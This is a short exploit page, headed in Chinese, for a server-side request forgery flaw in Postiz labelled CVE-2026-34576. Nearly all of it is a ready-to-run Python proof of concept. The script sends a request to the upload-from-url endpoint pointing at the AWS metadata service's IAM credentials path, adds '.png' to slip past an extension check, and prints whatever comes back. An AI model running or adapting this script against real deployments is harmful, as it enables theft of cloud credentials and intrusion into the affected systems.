CVE-2026-34576 Postiz SSRF漏洞

import requests # Target URL (example) target_url = "https://target-postiz-instance.com/public/v1/upload-from-url" # Payload: AWS metadata endpoint with image extension bypass # Internal metadata endpoint: http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Bypass technique: appending ".png" payload = { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role.png" } # Send the POST request (Authentication token might be required based on PR:L) headers = { "Authorization": "Bearer <VALID_TOKEN>", "Content-Type": "application/json" } response = requests.post(target_url, json=payload, headers=headers) # Check if the internal resource was fetched if response.status_code == 200: print("SSRF Successful! Response data:") print(response.json()) else: print("Failed to exploit")